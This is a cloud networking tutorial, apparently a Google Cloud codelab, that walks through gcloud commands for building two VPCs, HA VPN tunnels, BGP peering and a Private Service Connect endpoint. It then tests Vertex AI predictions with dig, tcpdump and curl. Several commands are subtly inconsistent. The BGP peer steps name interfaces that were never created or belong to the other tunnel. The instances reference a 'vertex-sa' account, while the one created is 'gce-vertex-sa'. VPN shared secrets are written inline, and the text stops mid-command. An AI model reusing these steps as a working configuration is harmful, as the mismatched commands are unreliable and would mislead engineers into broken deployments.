1](/assets/img/878e17db608ca7ab4188f29a4ad657b16d2c631aa1e8571c429f1deafcbc7a44.png) + +> Note: The lab makes use of an existing model and online prediction endpoint codelab required to validate prediction connectivity, when creating the notebook ensure to use the `aiml-vpc` network and workbench-subnet subnetwork part of the tutorial. You will be asked to deploy the codelab in the step Deploy the Model and Online Prediction. + +1. set up a **VPC network** called `on-prem-vpc` to represent an on-premises environment. + - For the deployment, the `on-prem-vpc` would not exist, instead hybrid networking to the on-premise data center or cloud provider would be used. + +2. build a comprehensive **Private Service Connect** architecture that illustrates accessing Online Prediction + 1. Publicly through **Cloud NAT** + 2. Privately using **PSC over HA VPN**. + +Once the online prediction is deployed in the GCP project the following uses cases will be explored: + +- **Public access** to online prediction, consists of the following: + + - Create a **GCE instance** (`nat-client`) that leverages NAT for egress internet access + - Use CURL to inference against the model + - Use TCPDUMP to validate that online prediction is `accessed via a public VIP` + +- **Private access** to online prediction, consists of the following: + + - Deploy a model to a **Vertex online prediction endpoint** in the project + - Create a **Private Service Connect Endpoint** (Googleapis) in the `aiml-vpc` + - Export the PSC IP address over the cloud router as a custom advertisement to the on-prem VPC + - Create a **GCE instance** (`private-client`) and update etc/hosts file with the PSC endpoint IP + - Use CURL to inference against the model + - Use TCPDUMP to validate that online prediction is `accessed via the PSC endpoint IP Address` + +Note: +- Tutorial offers configuration and validation steps based on the illustrated topology in Figure 2, modify the procedure as needed to meet the organization's requirements. +- Access: Determines how the online prediction endpoint can be accessed. By default, endpoints are available for prediction serving through a REST API. Endpoint access can’t be changed after the endpoint is created. + +--- + +### What you'll learn + +- How to establish a **Private Service Connect Endpoint** + +- How to advertise the PSC Endpoint IP over the **Cloud Router** + +- How to use TCPDUMP to validate Online Prediction access, both Public and Private + +--- + +### What you'll need + +GCP project + +IAM Permissions +- Compute Network Admin +- Service Directory Editor +- DNS Administrator +- Network Admin +- Quota Administrator +- Notebooks Admin +- Service Account User +- Storage Administrator +- Vertex AI User +- Service Account Admin + +--- + +## 1. Update the project + +```bash +gcloud config list project +gcloud config set project [YOUR-PROJECT-NAME] +projectid=YOUR-PROJECT-NAME +echo $projectid +``` + +## 2. Enable Services + +```bash +gcloud services enable dns.googleapis.com +gcloud services enable aiplatform.googleapis.com +gcloud services enable iam.googleapis.com +gcloud services enable compute.googleapis.com +gcloud services enable notebooks.googleapis.com +``` + +## 3. Setup `aiml-vpc` + +```bash +# Create the `aiml-vpc` +gcloud compute networks create aiml-vpc \ + --project=$projectid \ + --subnet-mode=custom + +# Create the user-managed notebook subnet +gcloud compute networks subnets create workbench-subnet \ + --project=$projectid \ + --range=172.16.10.0/28 \ + --network=aiml-vpc \ + --region=us-central1 \ + --enable-private-ip-google-access + +# **Cloud Router** and NAT configuration +# Cloud NAT is used in the tutorial for notebook software package downloads because the user-managed notebook instance does not have an external IP address. Cloud NAT also offers egress NAT capabilities, which means that internet hosts are not allowed to initiate communication with a user-managed notebook, making it more secure. + +# create the regional cloud router. +gcloud compute routers create cloud-router-us-central1-aiml-nat \ + --network aiml-vpc \ + --region us-central1 + +# create the regional cloud nat gateway. +gcloud compute routers nats create cloud-nat-us-central1 \ + --router=cloud-router-us-central1-aiml-nat \ + --auto-allocate-nat-external-ips \ + --nat-all-subnet-ip-ranges \ + --region us-central1 +``` + +## 4. Setup `on-prem-vpc` + +```bash +# Create the `on-prem-vpc` +gcloud compute networks create on-prem-vpc \ + --project=$projectid \ + --subnet-mode=custom + +# Create the nat-subnet +gcloud compute networks subnets create nat-subnet \ + --project=$projectid \ + --range=192.168.10.0/28 \ + --network=on-prem-vpc \ + --region=us-central1 + +# Create the private-ip-subnet +gcloud compute networks subnets create private-ip-subnet \ + --project=$projectid \ + --range=192.168.20.0/28 \ + --network=on-prem-vpc \ + --region=us-central1 + +# **Cloud Router** and NAT configuration +# Cloud NAT is used in the tutorial for software package downloads. +# Cloud NAT also offers egress NAT capabilities, which means that internet hosts are not allowed to initiate communication with compute, making it more secure. + +# create the regional cloud router. +gcloud compute routers create cloud-router-us-central1-on-prem-nat \ + --network on-prem-vpc \ + --region us-central1 + +# create the regional cloud nat gateway. +gcloud compute routers nats create cloud-nat-us-central1 \ + --router=cloud-router-us-central1-on-prem-nat \ + --auto-allocate-nat-external-ips \ + --nat-all-subnet-ip-ranges \ + --region us-central1 +``` + +--- + +## 5. Create the Private Service Connect endpoint + +create a **Private Service Connect endpoint** to `access the Vertex API` from the **on-prem-vpc**. +- The PSC IP address `100.100.10.10` will be advertised from the `aiml-vpc-cloud-router-vpn` as a custom router advertisement to the on-premises network in an upcoming step. + +```bash +gcloud compute addresses create psc-ip \ + --global \ + --purpose=PRIVATE_SERVICE_CONNECT \ + --addresses=100.100.10.10 \ + --network=aiml-vpc + +# Create the PSC Endpoint +gcloud compute forwarding-rules create pscvertex \ + --global \ + --network=aiml-vpc \ + --address=psc-ip \ + --target-google-apis-bundle=all-apis + +# List the configured **Private Service Connect endpoints** +gcloud compute forwarding-rules list \ + --filter target="(all-apis OR vpc-sc)" \ + --global + +# Describe the configured **Private Service Connect endpoints** +gcloud compute forwarding-rules describe pscvertex --global +``` + +--- + +## 6. Hybrid connectivity + +- create a **Cloud Router** to dynamically exchange routes between the **Virtual Private Cloud** (VPC) and peer network by using **Border Gateway Protocol** (BGP). + +- **Cloud Router** can set up a BGP session over a Cloud VPN tunnel to connect the networks. It automatically learns new subnet IP address ranges and announces them to the peer network. + +### Deploy HA VPN between the `aiml-vpc` and `on-prem-vpc`. + +Create the **HA VPN gateway** for both vpc + +- When each gateway is created, two external IPv4 addresses are automatically allocated, one for each gateway interface. +- Note down these IP addresses to use later on in the configuration steps. + +```bash +# create the HA VPN gateway for aiml-vpc +gcloud compute vpn-gateways create aiml-vpn-gw \ + --network=aiml-vpc\ + --region=us-central1 + +# create the HA VPN gateway for on-prem-vpc +gcloud compute vpn-gateways create on-prem-vpn-gw \ + --network=on-prem-vpc\ + --region=us-central1 +``` + +### Validate HA VPN gateway creation + +Using the console, navigate to `HYBRID CONNECTIVITY → VPN → CLOUD VPN GATEWAYS` and validate that the gateway IPs are generated. + +![picture 2](/assets/img/0879f4fb2bc6311ff90b189bba0cddd7a5d7b3b83785cd713eb9dc5904106953.png) + + +Create the **Cloud Router** for both vpc + +```bash +# create the Cloud Router located in us-central1 for the `aiml-vpc` +gcloud compute routers create aiml-cr-us-central1 \ + --region=us-central1 \ + --network=aiml-vpc\ + --asn=65001 + +# create the Cloud Router located in us-central1 for the `on-prem-vpc` +gcloud compute routers create on-prem-cr-us-central1 \ + --region=us-central1 \ + --network=on-prem-vpc \ + --asn=65002 +``` + +--- + + +### Create the VPN tunnels on each **HA VPN gateway**. + +1. Create VPN tunnels for `aiml-vpc` + +```bash +# create tunnel0 +gcloud compute vpn-tunnels create aiml-vpc-tunnel0 \ + --peer-gcp-gateway on-prem-vpn-gw \ + --region us-central1 \ + --ike-version 2 \ + --shared-secret [ZzTLxKL8fmRykwNDfCvEFIjmlYLhMucH] \ + --router aiml-cr-us-central1 \ + --vpn-gateway aiml-vpn-gw \ + --interface 0 + +# create tunnel1 +gcloud compute vpn-tunnels create aiml-vpc-tunnel1 \ + --peer-gcp-gateway on-prem-vpn-gw \ + --region us-central1 \ + --ike-version 2 \ + --shared-secret [bcyPaboPl8fSkXRmvONGJzWTrc6tRqY5] \ + --router aiml-cr-us-central1 \ + --vpn-gateway aiml-vpn-gw \ + --interface 1 +``` + +2. Create the VPN tunnels for `on-prem-vpc` + +```bash +# create tunnel0 +gcloud compute vpn-tunnels create on-prem-tunnel0 \ + --peer-gcp-gateway aiml-vpn-gw \ + --region us-central1 \ + --ike-version 2 \ + --shared-secret [ZzTLxKL8fmRykwNDfCvEFIjmlYLhMucH] \ + --router on-prem-cr-us-central1 \ + --vpn-gateway on-prem-vpn-gw \ + --interface 0 + +# create tunnel1 +gcloud compute vpn-tunnels create on-prem-tunnel1 \ + --peer-gcp-gateway aiml-vpn-gw \ + --region us-central1 \ + --ike-version 2 \ + --shared-secret [bcyPaboPl8fSkXRmvONGJzWTrc6tRqY5] \ + --router on-prem-cr-us-central1 \ + --vpn-gateway on-prem-vpn-gw \ + --interface 1 +``` + +### Validate vpn tunnel creation + +Using the console, navigate to `HYBRID CONNECTIVITY → VPN → CLOUD VPN TUNNELS`. + +![picture 3](/assets/img/38d70e479a6428da507596e987bddd23ff0129bfb451fe09be3bed35a13052b9.png) + +--- + +## 7. Establish BGP neighbors interface and peering for both VPC + +### Create BGP sessions + +configure **Cloud Router** interfaces and BGP peers. + +1. Create a BGP interface and peering for `aiml-vpc` + +```bash +# create the BGP interface: +gcloud compute routers add-interface aiml-cr-us-central1 \ + --interface-name if-tunnel0-to-onprem \ + --ip-address 169.254.1.1 \ + --mask-length 30 \ + --vpn-tunnel aiml-vpc-tunnel0 \ + --region us-central1 + + +# create the BGP peer: +gcloud compute routers add-bgp-peer aiml-cr-us-central1 \ + --peer-name bgp-on-premises-tunnel0 \ + --interface if-tunnel1-to-onprem \ + --peer-ip-address 169.254.1.2 \ + --peer-asn 65002 \ + --region us-central1 + + +# create the BGP interface: +gcloud compute routers add-interface aiml-cr-us-central1 \ + --interface-name if-tunnel1-to-onprem \ + --ip-address 169.254.2.1 \ + --mask-length 30 \ + --vpn-tunnel aiml-vpc-tunnel1 \ + --region us-central1 + + +# create the BGP peer: +gcloud compute routers add-bgp-peer aiml-cr-us-central1 \ + --peer-name bgp-on-premises-tunnel1 \ + --interface if-tunnel2-to-onprem \ + --peer-ip-address 169.254.2.2 \ + --peer-asn 65002 \ + --region us-central1 +``` + + +2. Create a BGP interface and peering for `on-prem-vpc` + +```bash +# create the BGP interface: +gcloud compute routers add-interface on-prem-cr-us-central1 \ + --interface-name if-tunnel0-to-aiml-vpc\ + --ip-address 169.254.1.2 \ + --mask-length 30 \ + --vpn-tunnel on-prem-tunnel0 \ + --region us-central1 + +# create the BGP peer: +gcloud compute routers add-bgp-peer on-prem-cr-us-central1 \ + --peer-name bgp-aiml-vpc-tunnel0 \ + --interface if-tunnel1-to-aiml-vpc\ + --peer-ip-address 169.254.1.1 \ + --peer-asn 65001 \ + --region us-central1 + +# create the BGP interface: +gcloud compute routers add-interface on-prem-cr-us-central1 \ + --interface-name if-tunnel1-to-aiml-vpc\ + --ip-address 169.254.2.2 \ + --mask-length 30 \ + --vpn-tunnel on-prem-tunnel1 \ + --region us-central1 + + +# create the BGP peer: +gcloud compute routers add-bgp-peer on-prem-cr-us-central1 \ + --peer-name bgp-aiml-vpc-tunnel1\ + --interface if-tunnel2-to-aiml-vpc\ + --peer-ip-address 169.254.2.1 \ + --peer-asn 65001 \ + --region us-central1 +``` + +Note: +- the cloud router's default behavior will advertise subnet routes between the VPCs over HA VPN. Later in the tutorial, we will modify the advertised routes to only advertise the PSC endpoint IP address from the `aiml-vpc` and the private-ip-subnet from the `on-prem-vpc`. + +Navigate to Hybrid `CONNECTIVITY → VPN` to view the VPN tunnel details. + +![picture 5](/assets/img/4f8c24ca358cc58811e71ff799650112263e0866902fd694b59583b1d7fced63.png) + + +### Validate + +Validate `aiml-vpc` learned routes over HA VPN + +Using the console, navigate to `VPC network → VPC networks → `aiml-vpc`→ ROUTES → REGION → US-CENTRAL1 → VIEW` + +Observe the `aiml-vpc` has learned routes from the `on-prem-vpc` nat-subnet and private-ip-subnet + +![picture 6](/assets/img/257f8899de31e0020eb2cbc8b7f13a6355092e65b224fc07d6e1470ec680e252.png) + + +Validate that `on-prem-vpc` has learned the workbench-subnet over HA-VPN + +Using the console, navigate to `VPC network → VPC networks → `on-prem-vpc` → ROUTES → REGION → US-CENTRAL1 → VIEW` + +![picture 7](/assets/img/72147ea497f6a8f0b674c300949cc68782dcb416c75c31aff67596240702f371.png) + +--- + +## 8. Create custom route advertisements `aiml-vpc` + +The **Private Service Connect Endpoint** IP is not automatically advertised by the aiml-cr-us-central1 cloud router because the subnet is not configured in the VPC. + +Instead, you will need to create a custom route advertisement from the aiml-cr-us-central cloud router for the endpoint IP Address 100.100.10.10 that will be advertised to the on-premises environment over BGP to the `on-prem-vpc`. + +From the console navigate to `HYBRID CONNECTIVITY → CLOUD ROUTERS → aiml-cr-us-central1`, then select EDIT. + + +In the section Advertised routes, select the option Create custom routes, update the fields based on the example below, select DONE, and then click SAVE. + + +### Validation + +Validate that `on-prem-vpc` has learned the PSC Endpoint IP Address over HA-VPN + +Using the console, navigate to VPC network → VPC networks → `on-prem-vpc` → ROUTES → REGION → US-CENTRAL1 → VIEW + + +--- + +## 9. Create custom route advertisements `on-prem-vpc` + +The `on-prem-vpc` cloud router advertises all subnets by default, but only the private-ip-subnet is needed. + +In the following section, update the route advertisements from the on-prem-cr-us-central1 cloud router. + +From the console navigate to HYBRID CONNECTIVITY → CLOUD ROUTERS → on-prem-cr-us-central1, then select EDIT. + + +In the section Advertised routes, select the option Create custom routes, update the fields based on the example below, select DONE, and then click SAVE. + + +### Validation + +Validate that `aiml-vpc` has learned the private-ip-subnet route from the `on-prem-vpc`. + +Using the console, navigate to VPC network → VPC networks → `aiml-vpc` → ROUTES → REGION → US-CENTRAL1 → VIEW + +2b1a7a5f918e9f50.png + +--- + +## 10. Create a user managed service account (GCE Instances) + +To provide a fine level of control to the Vertex API a user managed `service account` is required that will be applied to the nat and private client instances. + +Once generated, the service account permissions can be modified based on business requirements. the user managed service account, `vertex-sa`, will have the following roles applied: +- Vertex AI User +- Compute Instance Admin + +enable the Service Account API before proceeding. + +```bash +# create the service account. +gcloud iam service-accounts create gce-vertex-sa \ + --description="service account for vertex" \ + --display-name="gce-vertex-sa" + +# update the service account with the role compute instance admin +gcloud projects add-iam-policy-binding $projectid \ + --member="serviceAccount:gce-vertex-sa@$projectid.iam.gserviceaccount.com" \ + --role="roles/compute.instanceAdmin.v1" + +# update the service account with the role Vertex AI User +gcloud projects add-iam-policy-binding $projectid \ + --member="serviceAccount:gce-vertex-sa@$projectid.iam.gserviceaccount.com" \ + --role="roles/aiplatform.user" +``` + +--- + +## 11. Create a user managed service account (Notebook) + +create a user managed service account that will be associated with the Vertex Workbench (Notebook) used in the tutorial. + +the service account will have the following roles applied: +- Storage Admin +- Vertex AI User +- Artifact Registry Administrator + +```bash +# create the service account. +gcloud iam service-accounts create user-managed-notebook-sa \ + --display-name="user-managed-notebook-sa" + +# update the service account with the role Storage Admin. +gcloud projects add-iam-policy-binding $projectid \ + --member="serviceAccount:user-managed-notebook-sa@$projectid.iam.gserviceaccount.com" \ + --role="roles/storage.admin" + +# update the service account with the role Vertex AI User. +gcloud projects add-iam-policy-binding $projectid \ + --member="serviceAccount:user-managed-notebook-sa@$projectid.iam.gserviceaccount.com" \ + --role="roles/aiplatform.user" + +# update the service account with the role Artifact Registry Admin. +gcloud projects add-iam-policy-binding $projectid \ + --member="serviceAccount:user-managed-notebook-sa@$projectid.iam.gserviceaccount.com" \ + --role="roles/artifactregistry.admin" + +# list the service account and note the email address that will be used when creating the user-managed notebook. +gcloud iam service-accounts list +``` + +--- + +## 12. Created the test instances + +create test instances to validate different methods to reach Vertex APIs, specifically: + +- The instance, `nat-client`, will use Cloud NAT to resolve Vertex AI hence access the Online Prediction endpoint over the Internet +- The instance, `private-client`, will use the **Private Service Connect** IP 100.100.10.10 to access Online Prediction endpoint over HA-VPN. + + + + +```bash +# Inside Cloud Shell create the `nat-client` instance. +gcloud compute instances create nat-client \ + --zone=us-central1-a \ + --image-family=debian-11 \ + --image-project=debian-cloud \ + --subnet=nat-subnet \ + --service-account=vertex-sa@$projectid.iam.gserviceaccount.com \ + --scopes=https://www.googleapis.com/auth/cloud-platform \ + --no-address \ + --metadata startup-script="#! /bin/bash + sudo apt-get update + sudo apt-get install tcpdump dnsutils -y" + +# Inside Cloud Shell create the `private-client` instance. +gcloud compute instances create private-client \ + --zone=us-central1-a \ + --image-family=debian-11 \ + --image-project=debian-cloud \ + --subnet=private-ip-subnet \ + --service-account=vertex-sa@$projectid.iam.gserviceaccount.com \ + --scopes=https://www.googleapis.com/auth/cloud-platform \ + --no-address \ + --metadata startup-script="#! /bin/bash + sudo apt-get update + sudo apt-get install tcpdump dnsutils -y" + +# To allow Identity-Aware Proxy (IAP) to connect to the VM instances, create a firewall rule that: +# Applies to all VM instances that you want to be accessible by using IAP. +# Allows ingress traffic from the IP range 35.235.240.0/20. This range contains all IP addresses that IAP uses for TCP forwarding. + +# create the IAP firewall rule. +gcloud compute firewall-rules create ssh-iap-on-prem-vpc \ + --network on-prem-vpc \ + --allow tcp:22 \ + --source-ranges=35.235.240.0/20 +``` + +--- + +## 13. Create a user managed notebook + +Enable the notebook API + +- create a user-managed notebook that incorporates the previously created service account, user-managed-notebook-sa. + +Inside Cloud Shell create the `private-client` instance. + +```bash +gcloud notebooks instances create workbench-tutorial \ + --vm-image-project=deeplearning-platform-release \ + --vm-image-family=common-cpu-notebooks \ + --machine-type=n1-standard-4 \ + --location=us-central1-a \ + --subnet-region=us-central1 \ + --subnet=workbench-subnet \ + --no-public-ip \ + --service-account=user-managed-notebook-sa@$projectid.iam.gserviceaccount.com +``` + +--- + +## 14. Deploy the Model and Online Prediction + +In the following section, use the provided codelab,Vertex AI:Use custom prediction routines with Sklearn to preprocess and post process data for predictions start with Section 7 since you already created a notebook in the previous step. + +Once the model is deployed, return back to the tutorial to start the next section. + +--- + +## 15. Validate access to the Vertex API over the Internet + +log into instance, `nat-client`, and validate connectivity to Vertex AI through the use of dig and tcpdump against the domain us-central1-aiplatform.googleapis.com used to resolve Vertex APIs. + +Log into `nat-client` using IAP in Cloud Shell to validate connectivity to the Vertex API by performing a dig against the vertex domain us-central1-aiplatform.googleapis.com + +```bash +gcloud compute ssh nat-client \ + --project=$projectid --zone=us-central1-a --tunnel-through-iap + +# Execute the dig. +user@nat-client:~$ dig us-central1-aiplatform.googleapis.com + +# Example, note the Public IPs in the DNS response. +# ; <<>> DiG 9.16.42-Debian <<>> us-central1-aiplatform.googleapis.com +# ;; global options: +cmd +# ;; Got answer: +# ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56761 +# ;; flags: qr rd ra; QUERY: 1, ANSWER: 16, AUTHORITY: 0, ADDITIONAL: 1 +# ;; OPT PSEUDOSECTION: +# ; EDNS: version: 0, flags:; udp: 512 +# ;; QUESTION SECTION: +# ;us-central1-aiplatform.googleapis.com. IN A +# ;; ANSWER SECTION: +# us-central1-aiplatform.googleapis.com. 300 IN A 108.177.111.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 142.250.1.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 108.177.121.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 142.250.103.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 108.177.120.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 142.251.171.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 142.250.159.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 142.251.120.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 142.251.161.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 142.251.172.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.126.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.70.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.132.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.201.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.202.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.69.95 + +# ;; Query time: 4 msec +# ;; SERVER: 169.254.169.254#53(169.254.169.254) +# ;; WHEN: Thu Jun 29 01:35:57 UTC 2023 +# ;; MSG SIZE rcvd: 322 + + +# From the nat-client OS, execute tcpdump to validate DNS resolution when performing a curl against the Online Prediction. +user@nat-client:~$ sudo tcpdump -i any port 53 -n +# Example: +# tcpdump: data link type LINUX_SLL2 +# tcpdump: verbose output suppressed, use -v[v]... for full protocol decode +# listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes + + +# Open a new Cloud Shell terminal by selecting the "+". Once the new tab is opened, update the project name variable. + +# update the project name variable. +gcloud config list project +gcloud config set project [YOUR-PROJECT-NAME] +projectid=YOUR-PROJECT-NAME +echo $projectid + +# Inside Cloud Shell two, perform a ssh to `nat-client` instance. +gcloud compute ssh --zone "us-central1-a" "nat-client" --project "$projectid" + +# In the following section, you will create an instances.json file using sudo VI editor or nano and insert the data string used to obtain a prediction from the deployed model. + +# From the `nat-client` OS, create a instances.json file with the data string below: +user@nat-client:$ more instances.json +{ + "instances": [ + [0.23, 'Ideal', 'E', 'VS2', 61.5, 55.0, 3.95, 3.98, 2.43], + [0.29, 'Premium', 'J', 'Internally Flawless', 52.5, 49.0, 4.00, 2.13, 3.11] + ] +} + + +# Obtain the Online Prediction Endpoint ID from Cloud Console that will be used in the subsequent steps. + +# Navigate to VERTEX AI → ONLINE PREDICTION + + +# From the `nat-client` OS, create the following variables: +gcloud config list project +gcloud config set project [YOUR-PROJECT-NAME] +projectid=YOUR-PROJECT-NAME +echo $projectid +# ENDPOINT_ID="insert-the-endpoint-id-here" +ENDPOINT_ID="3328226095324463104" + + +# From the `nat-client` os, perform a curl to obtain a response from the model. +curl https://us-central1-aiplatform.googleapis.com/v1/projects/${projectid}/locations/us-central1/endpoints/${ENDPOINT_ID}:predict \ + -X POST -H "Authorization: Bearer $(gcloud auth print-access-token)" \ + -H "Content-Type: application/json" \ + -d @instances.json + +# Example, note the successful prediction. +# { +# "predictions": [ +# "$479.0", +# "$586.0" +# ], +# "deployedModelId": "1949163636186415104", +# "model": "projects/234086459238/locations/us-central1/models/947543727654567936", +# "modelDisplayName": "diamonds-cpr", +# "modelVersionId": "1" +# } +``` + +--- + +## 16. Validation - Internet Access to Vertex API + +Now that you executed the prediction, let's take a look at the TCPDUMP results (terminal 1) that indicate the `nat-client` instance (192.168.10.2) performing a DNS query to the local dns server 169.254.169.254 for the Vertex AI domain us-central1-aiplatform.googleapis.com. The result of the DNS query are public Virtual IP Addresses (VIPS) for Vertex APIs as noted below: + +```bash +user@nat-client:~$ sudo tcpdump -i any port 53 -n +tcpdump: data link type LINUX_SLL2 +tcpdump: verbose output suppressed, use -v[v]... for full protocol decode +listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes +20:05:09.260937 ens4 Out IP 192.168.10.2.40782 > 169.254.169.254.53: 47190+ A? oauth2.googleapis.com. (39) +20:05:09.260946 ens4 Out IP 192.168.10.2.40782 > 169.254.169.254.53: 28075+ AAAA? oauth2.googleapis.com. (39) +20:05:09.263556 ens4 In IP 169.254.169.254.53 > 192.168.10.2.40782: 28075 4/0/0 AAAA 2607:f8b0:4001:c34::5f, AAAA 2607:f8b0:4001:c54::5f, AAAA 2607:f8b0:4001:c16::5f, AAAA 2607:f8b0:4001:c17::5f (151) +20:05:09.265018 ens4 In IP 169.254.169.254.53 > 192.168.10.2.40782: 47190 16/0/0 A 74.125.201.95, A 74.125.202.95, A 74.125.69.95, A 64.233.183.95, A 173.194.193.95, A 173.194.194.95, A 173.194.195.95, A 173.194.196.95, A 173.194.197.95, A 64.233.191.95, A 173.194.74.95, A 173.194.192.95, A 209.85.145.95, A 209.85.146.95, A 209.85.147.95, A 142.250.125.95 (295) +20:05:09.474478 ens4 Out IP 192.168.10.2.57356 > 169.254.169.254.53: 36008+ A? us-central1-aiplatform.googleapis.com. (55) +20:05:09.474488 ens4 Out IP 192.168.10.2.57356 > 169.254.169.254.53: 47020+ AAAA? us-central1-aiplatform.googleapis.com. (55) +20:05:09.477190 ens4 In IP 169.254.169.254.53 > 192.168.10.2.57356: 36008 16/0/0 A 173.194.194.95, A 173.194.195.95, A 173.194.196.95, A 173.194.197.95, A 173.194.74.95, A 173.194.192.95, A 209.85.145.95, A 209.85.146.95, A 209.85.147.95, A 142.250.125.95, A 142.250.136.95, A 142.250.148.95, A 209.85.200.95, A 209.85.234.95, A 142.250.152.95, A 142.250.128.95 (311) +20:05:09.478607 ens4 In IP 169.254.169.254.53 > 192.168.10.2.57356: 47020 4/0/0 AAAA 2607:f8b0:4001:c1b::5f, AAAA 2607:f8b0:4001:c0c::5f, AAAA 2607:f8b0:4001:c0e::5f, AAAA 2607:f8b0:4001:c1e::5f (167) +``` + +--- + +## 17. Enable Private Access to Vertex APIs + +In the following section, you will access Vertex APIs using **Private Service Connect** over hybrid networking (HA VPN) to privately reach the online prediction. In the example used in the tutorial, you will update the /etc/hosts file in the `private-client` instance. + +In the on-premises environment updating a single or a handful of machines /etc/hosts file for testing is appropriate however for large scale and production environments creating a new forwarding zone using the PSC endpoint FQDN is more desirable. + +As an example, the psc endpoint created in the tutorial is called pscvertex that translates to pscvertex.p.googleapis.com, when using the endpoint for vertex append the FQDN with the service e.g us-central1-aiplatform-pscvertex.p.googleapis.com. + +Updating the on-premises DNS with the PSC endpoint also requires refactoring of local applications to call the FDQN e.g us-central1-aiplatform-pscvertex.p.googleapis.com instead of the native public endpoint us-central1-aiplatform.googleapis.com. + +Clients that can be configured to use a custom endpoint can use the p.googleapis.com DNS names to send requests to an endpoint. + +See the documentation for the client or client library for information about configuring it to use custom endpoints. For example: + +- Python: You can configure api_endpoint in the Client options class in the google-api-core package. +- Go: You can configure WithEndpoint in the Client options package in the api package. +- gcloud: You can configure api_endpoint_overrides + + +Open a new Cloud Shell terminal by selecting the "+". Once the new tab is opened, update the project name variable. + +```bash +# From Cloud Shell. +gcloud config list project +gcloud config set project [YOUR-PROJECT-NAME] +projectid=YOUR-PROJECT-NAME +echo $projectid + + +# Log into `private-client` using IAP in a new Cloud Shell to validate connectivity to the Vertex API by performing a dig against the vertex domain us-central1-aiplatform.googleapis.com + +From Cloud Shell, log into the `private-client` OS instance. +gcloud compute ssh private-client --project=$projectid --zone=us-central1-a --tunnel-through-iap + + +# Execute the dig. +user@private-client:~$ dig us-central1-aiplatform.googleapis.com +# ; <<>> DiG 9.16.42-Debian <<>> us-central1-aiplatform.googleapis.com +# ;; global options: +cmd +# ;; Got answer: +# ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33311 +# ;; flags: qr rd ra; QUERY: 1, ANSWER: 16, AUTHORITY: 0, ADDITIONAL: 1 +# ;; OPT PSEUDOSECTION: +# ; EDNS: version: 0, flags:; udp: 512 +# ;; QUESTION SECTION: +# ;us-central1-aiplatform.googleapis.com. IN A +# ;; ANSWER SECTION: +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.132.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.201.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.202.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 74.125.69.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 64.233.182.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 64.233.183.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 173.194.193.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 173.194.194.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 173.194.195.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 173.194.196.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 173.194.197.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 64.233.191.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 173.194.74.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 173.194.192.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 209.85.145.95 +# us-central1-aiplatform.googleapis.com. 300 IN A 209.85.146.95 +# ;; Query time: 4 msec +# ;; SERVER: 169.254.169.254#53(169.254.169.254) +# ;; WHEN: Sun Jul 02 20:5 + + +# Update the `private-client` instance /etc/hosts using sudo VI editor or nano to create a record of the Vertext AI FQDN us-central1-aiplatform.googleapis.com pointing to the PSC endpoint 100.100.10.10, no further changes required. +user@private-client:~$ more /etc/hosts +# 127.0.0.1 localhost +# ::1 localhost ip6-localhost ip6-loopback +# ff02::1 ip6-allnodes +# ff02::2 ip6-allrouters +# 100.100.10.10 us-central1-aiplatform.googleapis.com +# 192.168.20.2 private-client.c.$projectid.internal private-client # Added by Google +# 169.254.169.254 metadata.google.internal # Added by Google + + +# From the `private-client` OS, perform a PING to the Vertex API endpoint. +# Example, PING returns the PSC endpoint IP yet no reply is expected. +user@private-client:~$ ping us-central1-aiplatform.googleapis.com +# PING us-central1-aiplatform.googleapis.com (100.100.10.10) 56(84) bytes of data. +# From the `private-client` OS, execute tcpdump to validate DNS resolution and IP datapath to the PSC endpoint when performing a curl against the Online Prediction. +sudo tcpdump -i any port 53 -n or host 100.100.10.10 + + +# Open a fourth Cloud Shell terminal by selecting the "+". Once the new tab is opened, update the project name variable. + + +# update the project name variable. +gcloud config list project +gcloud config set project [YOUR-PROJECT-NAME] +projectid=YOUR-PROJECT-NAME +echo $projectid + +# Inside Cloud Shell four, perform a ssh to `private-client` instance. +gcloud compute ssh --zone "us-central1-a" "private-client" --project "$projectid" + + +# In the following section, you will create an instances.json file using sudo VI editor or nano and insert the data string used to obtain a prediction from the deployed model. +# From the `private-client` OS, create a instances.json file with the data string below: +user@private-client:$ more instances.json +# { +# "instances": [ +# [0.23, 'Ideal', 'E', 'VS2', 61.5, 55.0, 3.95, 3.98, 2.43], +# [0.29, 'Premium', 'J', 'Internally Flawless', 52.5, 49.0, 4.00, 2.13, 3.11] +# ] +# } + +# From the `private-client` OS, create the following variables: +gcloud config list project +projectid=YOUR-PROJECT-NAME +echo $projectid +# ENDPOINT_ID="insert-the-endpoint-id-here" +ENDPOINT_ID="3328226095324463104" + + +# From the `private-client` OS in Cloud Shell four, perform a curl to obtain a response from the model. + + +curl -v -X POST -H "Authorization: Bearer $(gcloud auth print-access-token)" -H "Content-Type: application/json" 